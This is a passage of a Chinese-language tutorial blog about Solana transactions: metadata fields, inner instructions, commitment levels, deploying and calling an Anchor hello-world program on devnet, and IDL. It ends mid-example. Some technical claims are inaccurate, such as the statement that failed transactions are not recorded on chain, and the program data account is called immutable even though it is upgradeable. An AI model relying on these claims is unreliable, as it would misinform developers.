OptionSerializer&lt;Vec<UiTransactionTokenBalance>&gt;<ul><li>交易执行前后相关账户的代币余额</li><li>仅适用于涉及 SPL 代币的交易</li></ul></li><li><strong>rewards: OptionSerializer<Rewards> ：</strong> 交易执行过程中分配的奖励（通常用于验证者奖励）</li><li><strong>loaded_addresses: OptionSerializer<UiLoadedAddresses>：</strong> 通过地址查找表加载的额外地址。版本 0 交易特有的字段</li><li><strong>return_data: OptionSerializer<UiTransactionReturnData>：</strong> 程序执行返回的数据</li><li><strong>compute_units_consumed: OptionSerializer<u64>：</strong> 交易执行消耗的计算单元数量。用于了解交易的计算复杂度</li></ul><p>这里比较关键的是内部指令。当一个 Solana 程序（智能合约）执行时，它可以通过跨程序调用（Cross-Program Invocation, CPI）调用其他程序。这些被调用的指令就是&quot;内部指令&quot;。</p><ul><li><code>index</code>: 表示触发这些内部指令的原始交易指令的索引。</li><li><code>instructions</code>: 包含所有被触发的内部指令列表。</li></ul><p>比较有趣的是，内部指令的嵌套关系主要通过 <code>stackHeight</code> 字段来表示，而不是通过 JSON 的物理结构。solscan上也没有体现嵌套。</p><p>看一个复杂的例子，<a href="https://gist.github.com/learnerLj/872c4831f0b6a8d93096f13105da1b89%E3%80%82">https://gist.github.com/learnerLj/872c4831f0b6a8d93096f13105da1b89。</a></p><ul><li>第1个账户 (<code>ERtGUg2LUTdWKQDpHGZSwZpuZMYvTVqE22Lub1XCmP1f</code>): 可写 + 需要签名（唯一需要签名的账户）</li><li>第2-8个账户 (从 <code>6WLBpdFzC5td9H62ZdAFmMS5hrK12sTCs1BjdmKZK2ep</code> 到 <code>Hx7Q2g7KPRB9J2b7yS1gk8K9X9aPT2XzZMhUVjFYcTYg</code>): 可写 + 不需要签名</li><li>最后7个账户 (从 <code>11111111111111111111111111111111</code> 到 <code>J2nUHEAgZFRyuJbFjdqPrAa9gyWDuc7hErtDQHPhsYRp</code>): 只读 + 不需要签名。</li></ul><h2 id="3-交易的流程">3. 交易的流程</h2><p>Solana 的交易执行流程主要分为以下几个阶段：</p><ol><li><strong>交易构造</strong>：用户创建交易，指定目标程序、相关账户和指令数据，并用私钥签名。</li><li><strong>交易提交</strong>：钱包或应用程序将交易提交到 Solana 节点（RPC 服务器）。</li><li><strong>交易验证</strong>：节点检查交易的签名、账户权限和余额等。</li><li><strong>交易执行</strong>：按指令调用目标程序，并在 Solana 的并行运行时中执行。</li><li><strong>交易确认</strong>：如果交易成功执行并最终写入区块，返回交易哈希作为确认。</li></ol><h3 id="3-1-准备">3.1 准备</h3><p><strong>签名（Signatures）</strong>：交易需要由 <strong>发送方钱包</strong> 使用私钥签名，以证明交易的合法性。 一个交易可以包含多个签名（例如，多重签名交易）。</p><p><strong>消息（Message）</strong>：描述交易的细节，包括目标程序（Program ID）、相关账户及操作指令。</p><p><strong>账户列表（Account Keys）</strong>：指定交易涉及的所有账户，包括程序账户、数据账户、用户账户等。在交易执行时，这些账户会被<strong>预加载</strong>到内存，使 Solana 能够<strong>并行处理</strong>交易，而不会因为未预先声明的账户访问而引发冲突。</p><p>消息中的指令，是对程序的具体调用请求，包含：</p><ul><li><strong>目标程序（Program ID）</strong>：需要调用的智能合约。</li><li><strong>账户列表</strong>：程序需要访问的账户。</li><li><strong>指令数据（Instruction Data）</strong>：具体操作的参数或方法标识。</li></ul><img src="https://cdn.blog-blockchain.xyz/2025/05/e086d7b5ab1cc9f1a321bb7eb59ee88b.png" alt="image-20250518222624081" style="zoom:33%;" /><h3 id="3-2-发送交易">3.2 发送交易</h3><p>客户端将交易发送到本地的 RPC 节点（通常由钱包或 DApp 提供）。RPC 节点会将交易广播到整个 Solana 网络的验证器节点。验证通过的交易会被添加到候选区块中，等待领导节点（Leader Node）将其提交到区块链。</p><p>你可以看到当前的leader以及他们的位置 <a href="https://app.marinade.finance/network/">https://app.marinade.finance/network/</a> , 可以发现德国、法国、荷兰、美国东部是出现概率最高的。</p><h3 id="3-3-调用合约（智能合约执行）">3.3 调用合约（智能合约执行）</h3><p>交易执行时，验证节点从链上加载交易涉及的所有账户数据（包括程序账户和数据账户）到内存中。账户数据包含程序代码（如果是程序账户）和存储的状态信息（如果是数据账户）。</p><p>Solana 的运行时调用目标合约的代码（程序账户中存储的字节码），并传入以下参数：</p><ul><li>交易中指定的账户列表，所有涉及的账户必须被正确声明，并满足访问权限。</li><li>指令数据（包含调用方法及其参数）。</li><li>程序在运行时中执行逻辑，访问和修改相关账户的状态。</li></ul><p>如果程序需要调用其他合约，可以通过 <strong>Cross-Program Invocation（CPI）</strong> 实现。当前程序暂停执行，将控制权转交给目标合约。完成后，返回执行结果，继续当前程序的逻辑。</p><h3 id="3-3-返回结果与确认">3.3 返回结果与确认</h3><blockquote><p><strong>交易确认与前端设计</strong>：理解Solana的确认级别对前端开发至关重要。例如，处理一笔支付时，你可能希望在显示&quot;处理中&quot;状态后，收到&quot;乐观确认&quot;（约1秒）时更新为&quot;正在确认&quot;，最终在&quot;最终确认&quot;（约16秒）后更新为&quot;已完成&quot;。不同应用场景需要不同的确认级别，正确选择可以在安全性和用户体验间取得平衡。</p></blockquote><p>程序执行完成后，将结果（如账户状态更新、事件触发）写入到内存中的账户数据。如果发生错误（如参数无效或余额不足），交易会被回滚，账户数据恢复到初始状态。成功的交易会被记录在区块链上，生成交易哈希（Transaction Hash）。<strong>失败的交易不会被记录</strong>，但错误信息会返回给客户端。</p><p>在 Solana 上，交易的确认由 <strong>多个层级</strong> 决定，主要包括：</p><ol><li><strong>单次确认（Single Confirmation）</strong></li><li><strong>乐观确认（Optimistic Confirmation）</strong></li><li><strong>最终确认（Final Confirmation）</strong></li></ol><p>不同的确认级别提供了不同的交易安全性保证，应用可以根据需求选择适当的确认方式。Solana 的 <strong>RPC 服务</strong> 允许开发者查询交易状态，并提供三种主要的 commitment 级别，与确认层级相对应：</p><table><thead><tr><th><strong>确认级别</strong></th><th>处理过程</th><th>特点</th><th><strong>相关 RPC commitment</strong></th></tr></thead><tbody><tr><td><strong>单次确认（Single Confirmation）</strong></td><td>1. 交易被提交到 <strong>Leader（当前区块生产者）</strong> 处理。2. Leader 节点打包交易，并将其包含在最新的区块中。3. 交易的区块被广播到网络，<strong>但尚未被其他验证者确认</strong>。</td><td>交易 <strong>已经进入区块</strong>，但未经过验证者共识确认。可能会因为 <strong>网络分叉</strong> 而被回滚。适用于<strong>低延迟、高频交易场景</strong>（如 DEX 下单）。</td><td>processed</td></tr><tr><td><strong>乐观确认（Optimistic Confirmation）</strong></td><td>1. 交易所在的区块 <strong>已经被至少 1 个后续区块确认</strong>。2. 交易的成功率大幅提高，因为网络中大多数验证者已经接受了该区块。3. <strong>回滚的可能性大幅降低</strong>，但仍然存在极端情况下的分叉风险。</td><td>交易大概率不会被回滚，适合<strong>普通 DeFi 交易</strong>（如借贷、流动性操作）。交易的确认速度很快，通常在 <strong>400ms - 1s</strong> 之间完成。适用于 <strong>中等安全性场景</strong>。</td><td>confirmed</td></tr><tr><td><strong>最终确认（Final Confirmation）</strong></td><td>1. 交易被<strong>32 个后续区块确认</strong>（约 16 秒后）。2. 交易进入 <strong>区块历史（Ledger History）</strong>，不可逆转。3. 由于 Solana 采用 <strong>Tower BFT</strong> 共识机制，一旦 32 个区块确认，意味着 <strong>整个网络都达成了一致</strong>。</td><td>交易<strong>100% 不可逆</strong>，不会因分叉被撤销。适用于<strong>提款、结算等高安全性操作</strong>。一般情况下，大约 <strong>16 秒</strong> 内可达最终确认。</td><td>finalized</td></tr></tbody></table><blockquote><p>更加详细见：<a href="https://www.helius.dev/blog/solana-commitment-levels">https://www.helius.dev/blog/solana-commitment-levels</a></p></blockquote><h2 id="4-链上程序">4 链上程序</h2><p>建议学习 anchor <a href="https://www.anchor-lang.com/">https://www.anchor-lang.com/</a> , 完成下面的示例： <a href="https://beta.solpg.io/tutorials/hello-anchor">https://beta.solpg.io/tutorials/hello-anchor</a></p><h3 id="4-1-基本结构">4.1 基本结构</h3><img src="https://cdn.blog-blockchain.xyz/2025/05/37b5e55348ff614a5f2e0ae0b422cf56.png" alt="image-20250518223540100" style="zoom:33%;" /><p>line 4 的 id 就是程序的公钥，也是程序的ID。 <code>#[derive(Accounts)]</code> 是交互的上下文，因为不需要额外控制，所以为空即可。因为不需要数据的输入，我们没有定义数据账户。</p><h3 id="4-2-解读指令">4.2 解读指令</h3><p><a href="https://solscan.io/tx/56SyMzu5DfoPK8xwNytg5iH6s1K4KGhWwDitwp3F8FvAPn9HGAi9LuySJvLUQrXxZhHKKFVR9fbUPo7Um2mE4Jag?cluster=devnet">https://solscan.io/tx/56SyMzu5DfoPK8xwNytg5iH6s1K4KGhWwDitwp3F8FvAPn9HGAi9LuySJvLUQrXxZhHKKFVR9fbUPo7Um2mE4Jag?cluster=devnet</a></p><p>看部署结果，大概消耗了2.54 sol。下面是<strong>相关账户字段</strong>：</p><img src="https://cdn.blog-blockchain.xyz/2025/05/9f474fcceaa84662060efeff6feffa45.png" alt="image-20250518223554241" style="zoom:33%;" /><ol><li>4T3p是我的地址，资金来源。</li><li>Nyy8 是程序账户，程序ID。</li><li>FHnS 是程序的可执行数据账户，存储BPF字节码。</li><li>Qfu4 是缓冲区账户。</li><li>System Program 是 系统程序（用于账户创建和资金转移）</li><li>BPF Upgradeable Loader 负责加载和管理 BPF 智能合约</li><li>Sysvar: Clock 是系统时钟账户，获取时间戳</li><li>Sysvar: Rent 是租金计算账户（用于确定账户是否需要支付租金）</li></ol><p>下面是<strong>指令字段</strong>：</p><p><strong>📌 指令 1：创建程序账户</strong></p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;info&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;lamports&quot;</span><span class="punctuation">:</span> <span class="number">1398960</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;newAccount&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Nyy8sfuyeXq15QHiwaM1eKcVLnQ95EDdXdZ6XujeiHV&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;owner&quot;</span><span class="punctuation">:</span> <span class="string">&quot;BPFLoaderUpgradeab1e11111111111111111111111&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;source&quot;</span><span class="punctuation">:</span> <span class="string">&quot;4T3phH9RxrwXJGftJfGk2G8iC6JXCvRyZF2vjMycJera&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;space&quot;</span><span class="punctuation">:</span> <span class="number">36</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;createAccount&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><ul><li>指令类型：系统程序 createAccount</li><li>创建 Nyy8 作为 程序账户（Program Account）。</li><li>账户所有者设为 BPF Upgradeable Loader，表示它是一个可升级合约。</li><li>我的4T3p调用的</li><li>分配 36 字节的空间，这只是程序账户的元数据，实际代码会存储在 Program Data Account。</li></ul><p><strong>📌 指令 2：使用 BPF Upgradeable Loader 部署程序</strong></p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;info&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;authority&quot;</span><span class="punctuation">:</span> <span class="string">&quot;4T3phH9RxrwXJGftJfGk2G8iC6JXCvRyZF2vjMycJera&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;bufferAccount&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Qfu4TnxzsWD52zkLpHrNMKe81K5sEAvHTQE3h2xCtYq&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;clockSysvar&quot;</span><span class="punctuation">:</span> <span class="string">&quot;SysvarC1ock11111111111111111111111111111111&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;maxDataLen&quot;</span><span class="punctuation">:</span> <span class="number">365136</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;payerAccount&quot;</span><span class="punctuation">:</span> <span class="string">&quot;4T3phH9RxrwXJGftJfGk2G8iC6JXCvRyZF2vjMycJera&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;programAccount&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Nyy8sfuyeXq15QHiwaM1eKcVLnQ95EDdXdZ6XujeiHV&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;programDataAccount&quot;</span><span class="punctuation">:</span> <span class="string">&quot;FHnSpFSK8tuy51NKK37yEEAECb2ujmav88JCGcKRuksg&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;rentSysvar&quot;</span><span class="punctuation">:</span> <span class="string">&quot;SysvarRent111111111111111111111111111111111&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;systemProgram&quot;</span><span class="punctuation">:</span> <span class="string">&quot;11111111111111111111111111111111&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;deployWithMaxDataLen&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><ul><li>从缓冲区账户 (Qfu4) 读取 BPF 代码。</li><li>创建 FHnS 作为可执行数据账户，用于存放 BPF 代码。</li><li>将 BPF 代码写入 Program Data Account，然后把 Program Account 设置为 executable = true，让它变成可执行合约。</li><li>Authority 由 4T3p 设定，表示该账户有权限升级合约。</li></ul><p><strong>📌 指令 2.1（内部指令）：创建 Program Data Account</strong></p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;info&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;lamports&quot;</span><span class="punctuation">:</span> <span class="number">2542550640</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;newAccount&quot;</span><span class="punctuation">:</span> <span class="string">&quot;FHnSpFSK8tuy51NKK37yEEAECb2ujmav88JCGcKRuksg&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;owner&quot;</span><span class="punctuation">:</span> <span class="string">&quot;BPFLoaderUpgradeab1e11111111111111111111111&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;source&quot;</span><span class="punctuation">:</span> <span class="string">&quot;4T3phH9RxrwXJGftJfGk2G8iC6JXCvRyZF2vjMycJera&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;space&quot;</span><span class="punctuation">:</span> <span class="number">365181</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;createAccount&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><ul><li>指令类型：系统程序 createAccount</li><li><strong>创建 Program Data Account（FHnS）</strong>，存放合约的 BPF 代码。</li><li><strong>转移 2.54 SOL 以支付存储租金</strong>，因为 Solana 账户必须存足够的 SOL 以维持存活。</li><li>分配 365181 字节的空间。</li></ul><h3 id="4-3-ETH开发者FAQ">4.3 ETH开发者FAQ</h3><p>❓我们首先疑惑，<strong>为什么需要 365KB 这么大</strong>来存储极端简单的 hello world 程序。如果是类似EVM的字节码不可能这么大。</p><ol><li>Solana BPF 程序的存储对齐。Solana 要求程序代码存储在 1KB 对齐的存储块中，所以即使你的代码实际只有 150KB，最终可能会被填充到 365KB。这类似于 操作系统的页面对齐，有助于 高效的内存访问和程序加载。</li><li>Rust 编译的 BPF 代码体积较大。由于 Rust 的安全性和泛型特性，编译出来的 BPF 代码往往比手写汇编代码要大。</li><li>BPF 代码还存在代码段等信息。代码段（.text）：存储指令（占用最大）。数据段（.data）：存储常量数据、全局变量。只读数据段（.rodata）：存储只读字符串和常量。符号表（.symtab）：用于调试和符号解析。</li></ol><p>❓<strong>为什么 Solana 交易会有子指令（Inner Instructions）？</strong></p><p>子指令（Inner Instructions）是 Solana 某些程序在执行过程中调用其他程序或系统指令时产生的内部指令。在 Solana 交易执行时：</p><ul><li>外部指令（Top-level Instructions） 由用户提交的交易指定。</li><li>子指令（Inner Instructions） 是智能合约或 Solana 内部机制在执行外部指令时，调用其他指令 产生的。</li></ul><p>在部署智能合约的交易中：用户调用 deployWithMaxDataLen 来部署 BPF 程序（外部指令）。这个过程内部需要 创建 Program Data Account，因此 BPF Upgradeable Loader 触发了 createAccount 子指令。 BPF Upgradeable Loader（合约管理程序） 调用了 System Program（系统程序）。</p><p>❓<strong>BPF 代码是什么？</strong></p><p>BPF 是一种低级的字节码格式，最初用于<strong>操作系统内核中的网络数据包过滤</strong>（比如 tcpdump、eBPF）。Solana 采用<strong>BPF 作为智能合约执行格式</strong>，但进行了优化，以支持高效的并行执行。</p><table><thead><tr><th><strong>对比项</strong></th><th><strong>Solana BPF</strong></th><th><strong>以太坊 EVM</strong></th></tr></thead><tbody><tr><td><strong>执行方式</strong></td><td>预编译的 BPF 字节码</td><td>逐条解释执行 EVM 字节码</td></tr><tr><td><strong>性能</strong></td><td>高效（基于 eBPF JIT 编译）</td><td>慢（逐条解释执行）</td></tr><tr><td><strong>并行执行</strong></td><td><strong>支持</strong>（Sealevel）</td><td><strong>不支持</strong>（单线程）</td></tr><tr><td><strong>计算模型</strong></td><td>账户模型，基于租金（Rent）</td><td>账户模型，基于 Gas</td></tr><tr><td><strong>编译语言</strong></td><td>Rust, C, C++</td><td>Solidity, Vyper</td></tr><tr><td><strong>程序存储</strong></td><td>Program Data Account（不可变）</td><td>智能合约账户</td></tr></tbody></table><p>❓<strong>Fee（交易费用）—— 为什么这笔交易消耗 0.00001 SOL？</strong></p><p>Solana 交易费用由以下两部分组成：</p><ul><li><strong>基础交易费（Base Fee）</strong>：Solana 的每笔交易至少需要 0.00001 SOL（10,000 lamports）。这个基础费用是所有交易的最低成本，无论计算复杂度如何，都必须支付。</li><li><strong>计算单元消耗（Compute Units Consumed）</strong>：Solana 交易的执行成本是基于 Compute Units（计算单元）计算的，每个计算单元的消耗会影响交易费用，但<strong>只要在基本限额内，就不会额外收费（除非动态费用模型生效）</strong>。目前该交易消耗了 2,670 个计算单元，但仍然处于最低交易费用标准 0.00001 SOL 内，因此不会额外增加费用。</li></ul><blockquote><p><strong>优先级费用（Prioritization Fee）解释</strong>：<br>在网络拥堵时，Solana允许用户支付额外的优先级费用来提高交易被处理的优先级。这类似于以太坊的gas price机制，用户可以在基础费用之上支付额外的费用来&quot;插队&quot;。计算公式为：<code>优先级费用 = 每计算单元的价格 × 消耗的计算单元数量</code>。例如，如果你设置每计算单元价格为1 micro-lamport (0.000001 lamport)，消耗了100,000计算单元，那么优先级费用为0.1 lamport。</p></blockquote><p>❓<strong>Compute Units Consumed（计算单元消耗）—— 为什么消耗 2,670 计算单元？</strong></p><p>计算单元（CU，Compute Unit）是 Solana 交易的执行成本度量单位，类似于以太坊的 Gas。每个 Solana 交易都消耗一定数量的计算单元，用于执行智能合约、验证账户权限、读取数据等。计算单元决定了交易的执行复杂度，计算越复杂，消耗的 CU 越多。</p><p>默认每个交易最多可以使用 200,000 CU。如果一个交易消耗过多计算单元，它可能会因为超出限制而失败。Solana 提供 prioritization fee 机制，高价值交易可以支付更高费用，提高计算单元上限。</p><p>❓<strong>为什么提示 Transaction Version（交易版本）？</strong></p><p>Solana 交易格式随着协议升级而不断演进，目前有 两种主要交易版本：</p><ul><li>Legacy（传统版本）。旧版本交易格式，兼容早期 Solana 交易规则。交易结构较简单，但缺少部分新功能（如可变费用）。</li><li>V0（版本 0，现代化交易格式）。支持 Address Lookup Table（地址查找表），减少交易体积，提升效率。支持更复杂的动态费用结构，适用于高价值交易。</li></ul><p>V0 版本的主要优势是&quot;地址查找表&quot;（减少交易大小），但合约部署涉及的账户较少，legacy 版本足够。如果你希望使用 V0 交易，可以在提交交易时，指定 --with-address-lookup-table 或者直接使用支持 V0 交易的 RPC 客户端。</p><h3 id="4-4-调用合约">4.4 调用合约</h3><p>直接使用 playground里提供的ts代码调用。</p><img src="https://cdn.blog-blockchain.xyz/2025/05/18eb974aa7e158663b73098f634f470a.png" alt="image-20250518223629813" style="zoom:33%;" /><p><a href="https://solscan.io/tx/5wYU6EX9sbfQT9GBPz7kyeQXpsfjuP9UhFRvcECv1hPHapHVaoTsPACmendiV3TgQEiNyacvRxzDiviJompZqcQ7?cluster=devnet">https://solscan.io/tx/5wYU6EX9sbfQT9GBPz7kyeQXpsfjuP9UhFRvcECv1hPHapHVaoTsPACmendiV3TgQEiNyacvRxzDiviJompZqcQ7?cluster=devnet</a></p><p>由于没有验证合约，所以参数没有解码，从执行结果上知道，我们的日志成功打印了。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">$ solana confirm -v 5wYU6EX9sbfQT9GBPz7kyeQXpsfjuP9UhFRvcECv1hPHapHVaoTsPACmendiV3TgQEiNyacvRxzDiviJompZqcQ7</span><br><span class="line">RPC URL: &lt;https://api.devnet.solana.com&gt;</span><br><span class="line">Default Signer: Playground Wallet</span><br><span class="line">Commitment: confirmed</span><br><span class="line"></span><br><span class="line">Transaction executed <span class="keyword">in</span> slot 358613949:</span><br><span class="line">  Block Time: 2025-02-04T02:43:29+08:00</span><br><span class="line">  Version: legacy</span><br><span class="line">  Recent Blockhash: 9sJABN5sM6chgkmpVKDxuHK4GYXqMmdx8mMwRQWxcc9t</span><br><span class="line">  Signature 0: 5wYU6EX9sbfQT9GBPz7kyeQXpsfjuP9UhFRvcECv1hPHapHVaoTsPACmendiV3TgQEiNyacvRxzDiviJompZqcQ7</span><br><span class="line">  Account 0: srw- 4T3phH9RxrwXJGftJfGk2G8iC6JXCvRyZF2vjMycJera (fee payer)</span><br><span class="line">  Account 1: -r-x Nyy8sfuyeXq15QHiwaM1eKcVLnQ95EDdXdZ6XujeiHV</span><br><span class="line">  Instruction 0</span><br><span class="line">    Program:   Nyy8sfuyeXq15QHiwaM1eKcVLnQ95EDdXdZ6XujeiHV (1)</span><br><span class="line">    Data: [149, 118, 59, 220, 196, 127, 161, 179]</span><br><span class="line">  Status: Ok</span><br><span class="line">    Fee: ◎0.000005</span><br><span class="line">    Account 0 balance: ◎17.4550854 -&gt; ◎17.4550804</span><br><span class="line">    Account 1 balance: ◎0.00139896</span><br><span class="line">  Log Messages:</span><br><span class="line">    Program Nyy8sfuyeXq15QHiwaM1eKcVLnQ95EDdXdZ6XujeiHV invoke [1]</span><br><span class="line">    Program <span class="built_in">log</span>: Instruction: Hello</span><br><span class="line">    Program <span class="built_in">log</span>: Hello, World!</span><br><span class="line">    Program Nyy8sfuyeXq15QHiwaM1eKcVLnQ95EDdXdZ6XujeiHV consumed 443 of 200000 compute units</span><br><span class="line">    Program Nyy8sfuyeXq15QHiwaM1eKcVLnQ95EDdXdZ6XujeiHV success</span><br></pre></td></tr></table></figure><h3 id="4-5-IDL">4.5 IDL</h3><p>在<strong>以太坊（EVM）<strong>中，智能合约使用</strong>ABI（Application Binary Interface）<strong>规定消息的调用格式，例如</strong>函数选择器（Function Selector）<strong>和</strong>参数编码规则（ABI Encoding）</strong>。</p><p>那么，Solana<strong>如何规定智能合约的调用格式</strong>？Solana<strong>没有 ABI</strong>，而是使用了一种<strong>更灵活的方式</strong>来处理合约的调用数据。</p><ul><li>在<strong>原生 Solana SDK</strong>（不使用 Anchor）中，调用合约的指令格式是完全<strong>手动定义</strong>的。</li><li>在<strong>Anchor 框架</strong>中，使用 <strong>IDL（Interface Description Language，接口描述语言）</strong> 来定义和标准化智能合约的调用格式。</li></ul><p>IDL（接口描述语言）是<strong>Anchor 框架</strong>用来<strong>描述智能合约 API</strong>的标准格式。它类似于<strong>以太坊的 ABI</strong>，但更强大：</p><ul><li>IDL 让 Solana 智能合约具备结构化的 API，便于解析和调用。</li><li>IDL 主要用于 Anchor 框架，但也可用于其他框架来生成合约调用代码。</li><li>IDL 采用 JSON 格式，详细描述了合约的函数、账户结构和返回数据格式。</li></ul><p>IDL 包含以下主要部分：</p><ol><li>name：合约的名称</li><li>instructions：定义了智能合约支持的所有函数（方法）</li><li>accounts：定义了智能合约需要访问的账户结构</li><li>types：定义复杂数据结构（类似 Solidity 的 struct）</li><li>events：定义事件（类似 Solidity 的 event）</li><li>errors：定义错误类型</li></ol><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;version&quot;</span><span class="punctuation">:</span> <span class="string">&quot;0.1.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;hello_world&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;instructions&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;sendMessage&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;accounts&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="punctuation">&#123;</span> <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;user&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;isMut&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span> <span class="attr">&quot;isSigner&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span> <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="punctuation">&#123;</span> <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;messageAccount&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;isMut&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span> <span class="attr">&quot;isSigner&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span> <span class="punctuation">&#125;</span></span><br><span class="line">      <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;args&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">&#123;</span> <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;message&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;string&quot;</span> <span class="punctuation">&#125;</span><span class="punctuation">]</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;accounts&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;MessageAccount&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;kind&quot;</span><span class="punctuation">:</span> <span class="string">&quot;struct&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;fields&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">&#123;</span> 